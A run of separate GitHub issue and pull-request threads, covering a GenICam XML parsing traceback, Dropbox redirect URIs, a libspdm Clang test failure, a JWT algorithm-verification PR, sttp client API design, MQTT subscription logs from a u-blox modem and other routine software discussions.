    return _genapi.NodeMap_load_xml_from_file(self, FileName)
_genapi.RuntimeException: Error while parsing XML stream at line 2 and column 0 : 'syntax error' : RuntimeException thrown (file 'XmlParser.cpp', line 1720)
2022-09-26 18:35:25,284 - harvesters - DEBUG - deleted: C:\Users\jcormier\AppData\Local\Temp\20220926183514_btng_obq\criticallink_systemgentl.xml
Traceback (most recent call last):
  File "C:\Users\jcormier\.conda\envs\gentl_38\lib\runpy.py", line 194, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "C:\Users\jcormier\.conda\envs\gentl_38\lib\runpy.py", line 87, in _run_code
    exec(code, run_globals)
  File "c:\Users\jcormier\.vscode\extensions\ms-python.python-2022.14.0\pythonFiles\lib\python\debugpy\adapter/../..\debugpy\launcher/../..\debugpy\__main__.py", line 39, in <module>
    cli.main()
  File "c:\Users\jcormier\.vscode\extensions\ms-python.python-2022.14.0\pythonFiles\lib\python\debugpy\adapter/../..\debugpy\launcher/../..\debugpy/..\debugpy\server\cli.py", line 430, in main
    run()
  File "c:\Users\jcormier\.vscode\extensions\ms-python.python-2022.14.0\pythonFiles\lib\python\debugpy\adapter/../..\debugpy\launcher/../..\debugpy/..\debugpy\server\cli.py", line 284, in run_file
    runpy.run_path(target, run_name="__main__")
  File "c:\Users\jcormier\.vscode\extensions\ms-python.python-2022.14.0\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_runpy.py", line 321, in run_path
    return _run_module_code(code, init_globals, run_name,
  File "c:\Users\jcormier\.vscode\extensions\ms-python.python-2022.14.0\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_runpy.py", line 135, in _run_module_code
    _run_code(code, mod_globals, init_globals,
  File "c:\Users\jcormier\.vscode\extensions\ms-python.python-2022.14.0\pythonFiles\lib\python\debugpy\_vendored\pydevd\_pydevd_bundle\pydevd_runpy.py", line 124, in _run_code
    exec(code, run_globals)
  File "c:\Users\jcormier\Documents\GenTL\python_scripts\snap.py", line 48, in <module>
    h.update()
  File "C:\Users\jcormier\.conda\envs\gentl_38\lib\site-packages\harvesters\core.py", line 3264, in update
    self._open_systems()
  File "C:\Users\jcormier\.conda\envs\gentl_38\lib\site-packages\harvesters\core.py", line 3159, in _open_systems
    self._systems.append(System(module=raw_system, parent=producer))
  File "C:\Users\jcormier\.conda\envs\gentl_38\lib\site-packages\harvesters\core.py", line 420, in __init__
    super().__init__(module=module, parent=parent, port=module.port)
  File "C:\Users\jcormier\.conda\envs\gentl_38\lib\site-packages\harvesters\core.py", line 230, in __init__
    self._node_map = self._create_node_map(
  File "C:\Users\jcormier\.conda\envs\gentl_38\lib\site-packages\harvesters\core.py", line 276, in _create_node_map
    node_map.connect(concrete_port, port.name)
  File "C:\Users\jcormier\.conda\envs\gentl_38\lib\site-packages\genicam\genapi.py", line 1947, in connect
    return self._connect(*args)
  File "C:\Users\jcormier\.conda\envs\gentl_38\lib\site-packages\genicam\genapi.py", line 1857, in _connect
    return _genapi.NodeMap__connect(self, *args)
_genapi.AccessException: Feature not present (reference not valid) : AccessException thrown (file 'NodeMapRef.h', line 497)

Attached the XML.  Note I zipped it to appease the github file restrictions but it is sent uncompressed from the camera.
criticallink_systemgentl.zip

Just to be thorough
Configuration
OS: windows 10
Harvester: 1.4.0
Genicam: 1.2.0
Python (Anaconda): 3.8.12
GenTL Producer: Critical Link
GenTL Viewer: 2.7.0
Camera: MityCAM-35MMFHDXS

@jcormier Hi, I have just confirmed that the provided XML can reproduce the phenomenon on my side. As far as I check your XML file, the RegisterDescription tag has xmlns:schemaLocation="..." but it should be xsi:schemaLocation="...". I hope you can have a chance to check the difference on your side as well. Thanks, Kazunari.
@vmazlin Please wait for a while until the issue is resolved. Thanks.

it should be xsi:schemaLocation="..."

Thanks for checking it out.  I already made that change but its possible I didn't update my gentl.dll when testing. hmm.  Is there a easier way to test the xml without having to connect to a camera?

With the release of GenTLViewer 2.7.2, the latest harvesters 1.4.0 and genicam 1.2.0 python packages now work. I've updated the wiki https://support.criticallink.com/redmine/projects/gentl_apps/wiki/Using_Python_With_Critical_Link_GenTL_Producer
Relevant changes:

Corrected XML in GenTL.dll local (vs. device) representation
Add support for BUFFER_INFO_CONTAINS_CHUNKDATA: Return false to indicate we aren't sending chunk data


Dropbox Link problem when using GitHUb pages

Hi,
I am trying to use the app from the github repo directly with github pages.
The system works fine but when trying to use the OneDrive connection (or any other one), the url is not working.
the message from (for example) dropbox is:
More details for developers
Invalid redirect_uri: "https://XXXXX.github.io/dropbox.html": It must exactly match one of the redirect URIs you've pre-configured for your app (including the path).

And of course on that address is not the dropbox.html, because it is at
src/main/webapp/dropbox.html
No idea how to make this work, if it is possible at all.
Thanks

Third-party cloud storage providers want a list of domains that the app runs on for that Dropbox API project. We can't whitelist github.io since then anyone could use our project with arbitary code and get us banned.
You would need to create a new Dropbox app project and use that project API in the codebase. However, I would strongly advise against whitelisting github.io for the reason I mention.


Array of record objects as data

Although it's easy enough to transform the data, it'd be nice if Vizzu accepts data as an array of objects e.g.
[
{ Genre: 'Pop', Type: 'Hard', Popularity: 114 },
{ Genre: 'Rock', Type: 'Hard', Popularity: 96 },
...
]

implemented in #218


GET_MEASUREMENTS unit test fails with new version of CLANG

See https://github.com/DMTF/libspdm/actions/runs/3606157422/jobs/6077233741
When running it through Valgrind it produces
==19118== Invalid read of size 1
==19118==    at 0x4AEC69: libspdm_transport_test_decode_message (in /home/sbellock/repo/steven-bellock/libspdm/build/bin/test_spdm_requester)
==19118==    by 0x4A3052: libspdm_receive_spdm_response (in /home/sbellock/repo/steven-bellock/libspdm/build/bin/test_spdm_requester)
==19118==  Address 0x1ffeffce70 is on thread 1's stack
==19118==  4544 bytes below stack pointer
==19118==
[  ERROR   ] --- 0x80010002 != 0
[   LINE   ] --- /home/sbellock/repo/steven-bellock/libspdm/unit_test/test_spdm_requester/get_measurements.c:5415: error: Failure!
[  PASSED  ] 36 test(s).
[  FAILED  ] spdm_requester_get_measurements_tests: 1 test(s), listed below:
[  FAILED  ] libspdm_test_requester_get_measurements_case35

It only fails on Release build and not Debug.

This looks like some kind of undefined / implementation-defined behavior, corruption, optimization, or compiler / linker issue, at least according to LLDB. When stepping through with LLDB it gets to https://github.com/DMTF/libspdm/blob/07f0c71ed227e1cfcdb4c128963e3ab2e439adb9/unit_test/spdm_transport_test_lib/test.c#L78-L88 and it completely jumps over the if-else and doesn't assign a value to test_message_header->message_type. When it comes to decode it the message_type is invalid. In other test cases it does show the assignment to test_message_header->message_type.
Passing Case
* thread #1, name = 'test_spdm_reque', stop reason = step in
    frame #0: 0x0000000000427b8e test_spdm_requester`libspdm_requester_get_measurements_test_receive_message [inlined] libspdm_test_encode_message(session_id=0x0000000000000000, message_size=145, message=0x0000000000507cd3, transport_message_size=0x00007fffffffc110, transport_message=<unavailable>) at test.c:76:45
   73
   74       *transport_message_size =
   75           aligned_message_size + sizeof(libspdm_test_message_header_t);
-> 76       *transport_message = (uint8_t *)message - sizeof(libspdm_test_message_header_t);
   77       test_message_header = *transport_message;
   78       if (session_id != NULL) {
   79           test_message_header->message_type =
(lldb) s
Process 37805 stopped
* thread #1, name = 'test_spdm_reque', stop reason = step in
    frame #0: 0x0000000000427b9a test_spdm_requester`libspdm_requester_get_measurements_test_receive_message [inlined] libspdm_test_encode_message(session_id=0x0000000000000000, message_size=145, message=0x0000000000507cd3, transport_message_size=<unavailable>, transport_message=0x00007fffffffc118) at test.c:86:43
   83               return LIBSPDM_STATUS_INVALID_MSG_FIELD;
   84           }
   85       } else {
-> 86           test_message_header->message_type = LIBSPDM_TEST_MESSAGE_TYPE_SPDM;
   87       }
   88       libspdm_zero_mem((uint8_t *)message + message_size,
   89                        aligned_message_size - message_size);

Failing Case
(lldb) s
Process 37805 stopped
* thread #1, name = 'test_spdm_reque', stop reason = step in
    frame #0: 0x0000000000429907 test_spdm_requester`libspdm_requester_get_measurements_test_receive_message [inlined] libspdm_test_encode_message(session_id=0x0000000000000000, message_size=81, message=0x00007fffffffaee1, transport_message_size=0x00007fffffffc130, transport_message=0x00007fffffffc138) at test.c:76:24
   73
   74       *transport_message_size =
   75           aligned_message_size + sizeof(libspdm_test_message_header_t);
-> 76       *transport_message = (uint8_t *)message - sizeof(libspdm_test_message_header_t);
   77       test_message_header = *transport_message;
   78       if (session_id != NULL) {
   79           test_message_header->message_type =
(lldb) s
Process 37805 stopped
* thread #1, name = 'test_spdm_reque', stop reason = step in
    frame #0: 0x000000000042990b test_spdm_requester`libspdm_requester_get_measurements_test_receive_message [inlined] libspdm_test_encode_message(session_id=0x0000000000000000, message_size=81, message=0x00007fffffffaee1, transport_message_size=0x00007fffffffc130, transport_message=0x00007fffffffc138) at test.c:88:5
   85       } else {
   86           test_message_header->message_type = LIBSPDM_TEST_MESSAGE_TYPE_SPDM;
   87       }
-> 88       libspdm_zero_mem((uint8_t *)message + message_size,
   89                        aligned_message_size - message_size);
   90       return LIBSPDM_STATUS_SUCCESS;
   91   }

In the short term I'll disable CLANG in CI/CD while I investigate the issue.

@jyao1 It looks like this is a compiler optimization issue, as the test passes with -O0 but fails with -O1.


Add kvssink start/stop support

Tested using: kvssink sample to start/stop the stream at various intervals including:

~100 times in a run with 0s interval between start/stops
play 5s -> sleep 5s -> play 20s -> sleep 60s -> play 20s -> sleep 20min -> play onward

The stream was inspected for successful ingestion at each playing stage.
Long-term memory consumption still needs to be verified.

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Codecov Report
Attention: 26 lines in your changes are missing coverage. Please review.

Comparison is base (6af9a7a) 16.38% compared to head (e5c587c) 16.29%.
 Consider uploading reports for the commit 89e9f55 to get more accurate results

Files
Patch %
Lines

src/gstreamer/gstkvssink.cpp
0.00%
26 Missing :warning:

Additional details and impacted files
@@             Coverage Diff             @@
##           develop    #1120      +/-   ##
===========================================
- Coverage    16.38%   16.29%   -0.09%
===========================================
  Files           51       51
  Lines         6849     6866      +17
===========================================
- Hits          1122     1119       -3
- Misses        5727     5747      +20

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


JWT Vulnerability Fix - Force verification algorithm

This fixes the JWT vulnerability highlighted by Tim McClean in this article https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/

code looks good see comments on unit test and java doc

Hi @KSanthanam, thanks for your pull request. However, this library isn't affected by this vulnerability because it only supports symmetric signatures: https://github.com/auth0/java-jwt/blob/master/src/main/java/com/auth0/jwt/JWTVerifier.java#L55-L58
Eventually we'd like to add support for asymmetric signatures, so we could merge this into a branch other than master. Could you edit this PR so that it targets the rs branch instead? We're not ready to start development on this, but your PR would be a good starting point. Thanks!

@KSanthanam Also, please take into account that if you find a security issue you should follow the procedure detailed here: auth0.com/whitehat Thanks!

@rolodato Thank you. Yes, I noticed it doesn't do RSA. Is anyone working on that? Shall I give it a crack?

@KSanthanam: Not right now, but feel free to change this PR so that it targets the rs branch instead of master. That way we can use this as a base when we start development.

Two things:

This library now supports asymmetric signatures, and it is in master.
However, the vulnerability is prevented in a different way (see #53 for details).

So, it would still be nice to be able to whitelist acceptable algorithms, but this PR is significantly out of date, and not being able to do so does not seem to be critical.


Resolve pull request via hard reset

Feature Description
It would be nice if you could resolve pull requests by making the target branch point to the last commit of the source branch. This would enable code review in situations that would normally require a force push.
For example, bringing a dev branch up to date with master via rebase would normally require a force push to the dev branch, which as far as I can tell, cannot be reviewed using a normal pull request. With my proposed feature, you could make a new branch called dev-latest with the appropriate changes from master, then make a pull request from dev-latest into dev, and resolve it in such a way that, once closed, dev points directly to the last commit of dev-latest, retaining the exact history of dev-latest.
Screenshots
No response

I think you can delete the old dev branch and create a new one from the main branch. It's easier than creating a PR with various options.

I think you can delete the old dev branch and create a new one from the main branch. It's easier than creating a PR with various options.

Sorry, maybe my example wasn't very clear. Suppose I want to keep the dev branch around. It has changes that haven't made it into master yet, but master also has changes that haven't made it into dev yet. I want to resolve this using rebase to keep a clean commit history. I would do this normally by rebasing dev onto master, then force pushing the result to dev. However I would like to do this as a pull request so it can be reviewed first.
I know this is already possible with plain git, but would like to do it through Gitea instead so there is a record of someone reviewing the change first. I think my proposal would support this use case, as well as any other that would normally require a force push.


Question: Compile QT app as static

Hi there!
Is there any form to change the link type with QT? I want to link it statically.
Great job and THX

I think, but haven't tested, that you need to compile Qt yourself with a "-static" flag and it should "just work". This also means you will either need to own a Qt license or open source your code.


[Wave 6: Drafts] Add the Submit button to the Report preview component

Part of https://github.com/Expensify/Expensify/issues/308213
Coming from the doc here, we need to add the report submit button to the report preview in the App.

Hey @mountiny, Ana from Callstack here 👋, I'm would like to work on this issue

No payment required, this is completed


Standardise birds eye plot mouse-over with (?) icon and it should not be active when plot is hidden

Make a new barplot, but don't pick a variable. Hover over the area above the almost empty table and you see a small rectangle appear.
The Lineplot viz has an example of the (?) font awesome icon we want to use.

I have know that issue too. Perhaps the simplest solution is to only show the BirdsEyeView component's return with a condition (e.g., birdsEyeData != null)

I have just added a new help tooltip in Lineplot

as per the mockups here
I wonder if we should standardise and put a font-awesome fa-question-circle next to the birds-eye too (instead of the whole-mouse-over we have now) ?

I have know that issue too. Perhaps the simplest solution is to only show the BirdsEyeView component's return with a condition (e.g., birdsEyeData != null)

We don't want the variable data/no data table below to jump around.  But maybe that could disappear too.  What we want is nice behaviour for the first plot the user makes, and then on every tweak they make to it.  Perhaps the BirdsEye should stay on the screen during an update (like the main plot does).
The empty variable table looks a bit bad IMO.  Tidying up all this behaviour would be nice to have!

@bobular I'm curious where you'd place the icon in the BirdsEyeView. I played around a bit and reworked it as shown, but not sure how I feel about it.

thanks, I've added to the agenda for 7/11/2022 EDA UX meeting

Looks good.


Don't create directory when opening a synced realm at a custom path

Right now a directory is created for a realm even if it is stored in another location. This ends up being kind of confusing. @austinzheng

Outdated.


Update line_chart_painter.dart

A range error is thrown in _generateBarPath() if we add consecutive null values
for eg: [ FlSpot(1,2), FlSpot(null, null), FlSpot(null, null), FlSpot(4, 4)] will throw range error
(i know its stupid to add consecutive null values but i am that stupid i couldn't understand why m getting range error)
I added  a condition which will take only first null value if there are consecutive null values

Hi, there was a problem with master, that's why this branch is failed.
I've just fixed the problem, please update your branch with master,
Thanks.


Support a command to fly to a global position

When in POSCTL mode the position controller should accept a MAV_CMD with coordinates for a global position. It should just reset the hold position to this position and do nothing else.

We should start with http://mavlink.org/messages/common#MAV_CMD_OVERRIDE_GOTO and MAV_GOTO_HOLD_AT_SPECIFIED_POSITION.

Duplicate of #3972.


[BUG] transaction builder on AVAX uses mainnet deployment of MultiSend not the AVAX deployment

Description
On Avalanche, the transaction builder app should use the correct MultiSendCallOnly contract (https://snowtrace.io/address/0xA1dabEF33b3B82c7814B6D82A79e50F4AC44102B#code) instead of trying to use https://snowtrace.io/address/0x40A2aCCbd92BCA938b02010E17A5b8929b49130D.
Steps to reproduce

Try creating a multisend transaction on the AVAX deployment of Gnosis Safe

Expected result
Flawless multisend
Obtained result
Screenshots

It seems like safe-deployments has the incorrect address listed.

The issue appears if the network was switched after the networks with other safe contracts.
Steps to reproduce:

Open Rinkeby
Open transaction builder and create multisend transaction
switch network in the right corner to avalanche ( or any other network where the safe contracts have different from Rinkeby addresses - see safe-deployment for details for L2 networks)
open transaction builder and try to create a multisend tx ( send native coints to owner account a few times )
Current result: The Multisend contract from Rinkeby is used
The opposite situation is true : open avalanche first and switch to Rinkeby => the contract address from avalanche will be used on Rinkeby

Issue moved to gnosis/safe-react #3311 via ZenHub


cmd/link: merge dev.link into master branch for Go 1.16 early

This is a tracking issue for merging the dev.link branch into master for Go 1.16. A great deal of work has happened on dev.link to further improve the linker since Go 1.15, and we plan to merge this as soon as the 1.16 tree opens in order to avoid conflicts. At this point, we're wrapping up a few final changes and don't expect any more major changes to the linker in the near term.
While this is a large change, we propose to do the merge without a feature flag. Instead, we believe the following are sufficient risk mitigation:

By merging as soon as Go 1.16 opens and not making further major changes to the linker, the linker changes will have maximal soak time. The changes are involved enough that we believe fixing any new bugs at this point would be preferable to backing them out, and maximizing the soak time also maximizes the time we have to fix bugs. This soak time will include regular testing across Google's code base from the start.

Failures caused by the linker tend to be deterministic and are often not subtle, so testing is actually quite effective (in contrast with, say, runtime bugs, which tend to be non-deterministic and subtle). We theorized testing would be effective with the linker changes that went into 1.15 and, indeed, there were very few bugs and they were all relatively straightforward to debug.

Since this work has been happening on a branch, we've been able to monitor the build dashboard throughout development. Hence, the linker changes have already had significant automated testing, and we've been able to keep the branch quite stable throughout.

In contrast, we believe attempting to feature flag this work would be so involved as to actually increase risk and add significant testing burden, as there's no "obviously correct" fallback (unlike how Go 1.15 could fall back to the 1.14 linker).
/cc @rsc @andybons @jeremyfaller @cherrymui @thanm

This seems reasonable to me. Let’s plan to merge tomorrow when we open the tree to large changes.

This issue is currently labeled as early-in-cycle for Go 1.16.
That time is now, so this is a friendly ping so the issue is looked at again.

Thanks Dmitri. This is being actively worked on. I am waiting on a couple more CLs from Jeremy before finalizing the merge.

Hmm, I think I may need to generate a new CL instead of hijacking the old one. Stay tuned.


Simple http backend without HKT

Right now, when a programmer that is not particularly familiar with concept of HKT uses sttp (e.g. with importing sttp.client3.okhttp.quick._, he sees a suggestion with the F[...] as the return type:

It may lead to imposing a higher cognitive load and introducing him to a type of abstraction that he may not be familiar with.
My proposal would be to introduce a send method on the HttpClientSyncBackend.
val backend = HttpClientSyncBackend()
val request = basicRequest
  .body("Hello, world!")
  .post(uri"https://httpbin.org/post?hello=world")
val response = backend.send(request)

That way it could be possible to introduce a signature with just the Response as the return type.
Additional note: Another idea that could smoothen the onboarding to the library is maybe creating a simplest backend named client instead of backend (with the api described above).
val httpClient = SimpleHttpClient()
val request = basicRequest
  .body("Hello, world!")
  .post(uri"https://httpbin.org/post?hello=world")
val response = httpClient.send(request)

I would like to request a comment on that as it is a proposal that could lead to losing some consistency of naming. However, refering as backend to the logic that dispatches the request could sometimes lower the role expressiveness of code using sttp - term backend in http domain most often refers to the destination of the request.

We can't add a different send method to the HttpClientSyncBackend backend, or rather: we can, but this wouldn't have the desired effect :) That's because we never return the immediate implementation from the companion object methods. Instead, backends are by default wrapped with FollowRedirectsBackend, which implement redirects. Plus you might want to use other wrappers (logging, metrics, retries), which would cause loosing the "simple" alternative.
However, the "recommended" (at least in the docs) way to send requests is using request.send(backend), not backend.send(request) (though they are equivalent). So probably the above is not a problem.
There are two routes that we might take.
Add a synchronous send to Request
We could add a synchronous variant of send to RequestT:
case class RequestT(...) {
  def send[F[_], P](backend: SttpBackend[F, P])(implicit
      isIdInRequest: IsIdInRequest[U],
      pEffectFIsR: P with Effect[F] <:< R
  ): F[Response[T]] = ???

  def send[P](backend: SttpBackend[Identity, P])(implicit
      isIdInRequest: IsIdInRequest[U],
      pEffectFIsR: P with Effect[Identity] <:< R
  ): Response[T] = ???
}

That way when you auto-complete a request.send you get both the F-variant and the simple variant:

However when navigating the list this shows the full signature w/implicits, which isn't that readable:

I made a quick test and MiMa doesn't complain about this addition.
Introduce HttpClient
Another option is adding the mentioned SimpleHttpClient. It's true that it introduces a new name, however we probably can draw a clear line which would allow distinguishing what's a client, and what's a backend.
The simple client would:

only support synchronous operations
wrap a SttpBackend[Identity, Any] backend (that is, no streaming, no websockets). This could change if the sync backend gains websocket capabilities in some future release.

So by default, SimpleHttpClient() would use the default HttpClientSyncBackend backend. We can also provide an alternate constructor/factory method, which would accept any Id-based backend, allowing providing wrapped backends. The client could also have methods, which would allow wrapping the contained backend e.g. using the metrics backend, or even direct support for adding logging, e.g.
class SimpleHttpClient(backend: SttpBackend[Identity, Any]) {
  def send[T](request: Request[T, Any]): Response[T] = backend.send(request)
  def withBackend(another: SttpBackend[Identity, Any]): SimpleHttpClient = ???
  def wrapBackend(f: SttpBackend[Identity, Any] => SttpBackend[Identity, Any]): SimpleHttpClient = ???
  def withLogging(options ...): SimpleHttpClient = ???
}

To make discovery easier, we could combine this with the first approach and add a RequestT.send(HttpClient) method, so that auto-complete on request. works as well. That would however need some implicit parameters as well, to ensure that the request doesn't require streaming/websockets/a particular effect type.
Usage, as you wrote:
val client = SimpleHttpClient()
client.send(basicRequest.get(uri"http://google.com"))

// and/or
basicRequest.get(uri"http://google.com").send(client)

To consider:

do we want to introduce a similar FutureHttpClient? this would allow implementing this both for jvm & js
SimpleHttpClient or SyncHttpClient or SynchronousHttpClient or just HttpClient? The last is tempting, but it also clashes which java's HttpClient (which it wraps beneath). But is that a problem?
we could also have a SimpleHttpClient.send (in the companion object) which would use the default synchronous backend. So the SimpleHttpClient companion could implement the SimpleHttpClient interface. Downsides: global state, that once initialised would be present in the app until it exits.

@szymon-rd

@szymon-rd One more idea, maybe to avoid naming clashes with java's HttpClient, this one could be SttpClient?

The solution that introduces the new SttpClient class seems to be solving the problem. One thing that I think we could also consider is whether there is a possibility of getting rid of the wildcard import requirement - so that the developer can just import the Request and the SttpClient (if that's not there already in the proposed solution). The gain there would be that we wouldn't require the developer to remember the package's path - he could fully rely on auto imports in the IDE. However, you said that there is a requirement of passing some implicits if we add the send method on Request, so I understand that there is a chance that it wouldn't be possible.
Answers to your concerns from my perspective:

It is important to have simple clients for native and js as well. So yes, I think that it is a good idea to introduce that.
I think that SttpClient is a good name. Avoiding clashes in the namespace should help new users of Scala not confuse imports suggested by IDE.
I think it's a good idea. Especially that we could then use it as the default argument in RequestT.send(HttpClient) - so developer could just write basicRequest.get(uri"http://google.com").send() - and we get rid whole requirement of introducing Client concept, simplifying the usage further. What does this global state consist of?

Is there a way to get rid of implicits and required wildcard imports on basicRequest.get(...).send()?
@adamw

@szymon-rd
As for the wildcard import: for a simple request (get uri / post some data / get a file / set some headers), you only need two things: basicRequest and UriContext (for the uri interpolator to work). There are no implicits involved (at least not such that you'd have to import). So the wildcard import wasn't required and wouldn't be required, it's just a matter of convenience. If you just start typing, you'll end up with:
import sttp.client3.{SttpClient, UriContext, basicRequest}

3: the global state is a global instance of java's HttpClient, which presumably holds a connection pool. You mention the default parameter - which brings another question - wouldn't it be better to have a single way of sending a request? So either SttpClient.send(myRequest) or myRequest.send(sttpClient)? I know currently both are possible with sttp's backends, but the docs encourage one style only: myRequest.send(backend). It's not necessarily the most natural formulation, though. It's the client that sends the request not the other way round. On the other hand, having send on the request description allows nice chaining. So it's a hard choice.

I agree that it would be beneficial to have one way to send requests. I was thinking about it and I agree with you - it is a tough choice. I would argue, however, that despite the chaining advantage of the .send(sttpClient), the reverse syntax could be better for a simple client. I think that people are more used to actor.action(object) syntax. I would keep this one for the client, and I think that's also better as it doesn't require us to add definitions to the Request.
Concerning the global state, I think that requiring the use to write val client = SttpClient() is not a problem. And it's great that no auto-suggested imports are required.

@szymon-rd take a look at https://github.com/softwaremill/sttp/pull/1545, if that's what you're after

Yes, that looks great. Is there a way to avoid writing uri interpolator and just pass String? I think it could simplify the usage further for some basic cases.


pantheon.elementary-default-settings: Backport pantheon-portals.conf support

See the changes in x-d-p 1.17 for details. Pantheon's config is quite complex compared to other DEs >_<  gnome-keyring is already added to xdg.portal.extraPortals in its separate modules.
Description of changes

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

@ofborg build pantheon.elementary-default-settings


missing ws unique id for each connection string

I am trying to store unique ws for each connected client so that I can re-use it to send messages to the connected client.
How isSubscribed handles and stores each connection string?

How many of this same question are you going to open? Are you confused? https://github.com/uNetworking/uWebSockets.js/discussions/843
let id = 0;
const wsMap = new Map();

app.ws('/', {
   open: ws => {
      ws.id = ++id;
      wsMap.set(id, ws);
      console.log('open', ws.id);
   },
   close: (ws, code) => {
      wsMap.delete(ws.id);
      console.log('close', ws.id, code);
   }
});

wsMap.get(id).send('Hello');

I didn't realize, it was that simple.
Thanks


Unable to subscribe to topic

Sometimes can't subscribe to topic if many messages are sent before.
In the following log it is only a fraction of what was previously sent.
But if only one or two messages were sent then there is often no problem with subscribing.
Sent message: "["8988228066603271762",[4478,200,Unable to bring up the device!]]".
AT+UMQTTC=2,2,0,0,"log","["8988228066603271762",[4478,100,Could not transmit data!]]"
+UMQTTC: 2,1
OK
Sent message: "["8988228066603271762",[4478,100,Could not transmit data!]]".
AT+UMQTTC=2,2,0,0,"log","["8988228066603271762",[1695376593000,120,Box is online!]]"
+UMQTTC: 2,1
OK
Sent message: "["8988228066603271762",[1695376593000,120,Box is online!]]".
Subscribing to topic "8988228066603271762"...
AT+UMQTTC=4,2,"8988228066603271762"
+UMQTTC: 4,1
OK
AT
AT
OK
AT+UMQTTER
+UMQTTER: 0,0
OK
AT+UMQTTER
+UMQTTER: 0,0
OK
U_CELL_MQTT: error codes 0, 0.
Unable to subscribe to topic "8988228066603271762"!.
AT
OK
U_CELL_MQTT: trying to disconnect...
I (147334) CELL: >>>>>>>>>>>>SARA is alive<<<<<<<<<<<<
AT+UMQTTC=0
+UMQTTC: 0,1
OK
Taking down network...
AT+COPS?
+COPS: 0,0,"Telekom.de 1nce.net",7
OK
AT+CFUN=4
OK
+CEDRXP: 4,"0010"
+CGREG: 0
+CEREG: 0,,,,,,,,
-1: NReg
-1: NReg
AT+CREG?
+CREG: 2,0
OK
-1: NReg
AT+CGREG?
+CGREG: 2,4
OK
-1: OoC
AT+CEREG?
+CEREG: 4,0
OK
-1: NReg
AT+CGATT?
+CGATT: 0
OK
-1: NReg
U_CELL_NET: disconnected.
cellDeinitDevice Done.
cellCloseConnection Done.

Hi Alex: seems as though the module is just not returning the +UUMQTTC: 4,x,y response to indicate that the subscription has succeeded within the time that we allow, U_MQTT_CLIENT_RESPONSE_WAIT_SECONDS; not sure what the value of this timeout is in your case: it is currently 120 seconds, increased from the 30 seconds it was about 5 months ago, which was already quite long enough in my view (it is only 5 seconds for a Wifi transport).
You could try increasing the timeout, or you could keep it as it is and try again on a failure?  Not sure what would be better for your application, if it were me I would do the latter.

@philwareublox has pointed out that, from the log, your publishes aren't working either, the MQTT client inside the module has basically stopped.  If I were you at this point I'd disconnect and reconnect it.

The messages from the log were sent correctly. I don't see any stopping there.
But as recommended, I ran "uMqttClientDisconnect" and then "uMqttClientConnect" and the subscription could then be carried out correctly.
Thanks for the tip!

You should be seeing the +UUMQTTC URC after the OK, to show the message was sent - especially if the QoS is set to '2'
From: alexmaron81 @.>
Sent: 25 September 2023 14:00
To: u-blox/ubxlib @.>
Cc: Phil Ware @.>; Mention @.>
Subject: Re: [u-blox/ubxlib] Unable to subscribe to topic (Issue #137)
**** This is an EXTERNAL email. It was sent from outside of u-blox. ****
The messages from the log were sent correctly. I don't see any stopping there.
But as recommended, I ran "uMqttClientDisconnect" and then "uMqttClientConnect" and the subscription could then be carried out correctly.
Thanks for the tip!

Reply to this email directly, view it on GitHubhttps://github.com/u-blox/ubxlib/issues/137#issuecomment-1733664358, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AE4RANZCKMIHFQNUJ6SXA5LX4F55NANCNFSM6AAAAAA5C32Q6I.
You are receiving this because you were mentioned.Message ID<EMAIL_ADDRESS>

I think this was resolved Alex?  I am going to close it, please re-open if required,


add merge helper

Should we also have a helper that merges two dictionaries recursively?

There might be a use case in the future that will benefit from a dictionaries recursively merging, but given each fixture is completely independent of one another at this moment, I'm unable to get behind prioritizing a merge at this time.


Kansha is unasable with Microsoft Edge

Version 1.0.8 dev
When you try to open a card, nothing happens, cpu consumption increases, you have to kill the browser ...

This is a known  Microsoft Edge bug: https://www.google.fr/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#q=microsoft+edge+hangs+OR freezes

It seems to be linked with the search feature.


Betting UI - Odds Menu

https://www.figma.com/file/42QoTLQcbObu7esoTPjWRv/Augur-Bet---Design-System?node-id=283%3A145
Create the Dropdown for switching odds.
Add it to global state.

Completed in Odds ui Menu PR https://github.com/AugurProject/augur/pull/7041


Update Wallet to use the Alchemy object

Note - this is a breaking change :( But hopefully not a heavy-duty one, since we just added the Wallet.

Added constructor overload!


Multiple results

Describe the feature and the current behavior/state.
The user will be asked if he wants the first or all results.
Meaning that the program will continue searching for all occurrences of the search string as long as links are available.
If all links were searched the program will return all links in wich the search string was found.
Will this change the current app? How?
Only as an additional option for the user, no major changes.
Who will benefit with this feature?
User

This feature should be only available if the user selects "Search same website".


[Feature] MAD Switch cannot control Light device after Matter hub (Raspberry Pi 4B) is turn off

Feature description
...
I build and run Matter Over Thread Light and Switch on Silabs BRD4187C. The MAD Light and Switch join Matter hub (Raspberry Pi 4B) and binding is done on Switch so MAD switch can toggle MAD light when Matter hub (Raspberry Pi 4B) is turn on. When I turn off Matter hub (Raspberry Pi 4B) and wait a while (see "SRP Client was stopped, because current server is no longer detected" on RTT viewer output of MAD light/switch devices), MAD switch cannot control light. I suppose Matter over Thread is a mesh network and should not stop working when any single point of failure including Matter hub. Am I correct on this point? If so, why current open source implementation doesn't work in this way?
Platform
efr32, raspi
Platform Version(s)
No response
Anything else?
No response

Matter over Thread is a mesh network, but relies on DNS-SD, which uses SRP over Thread.
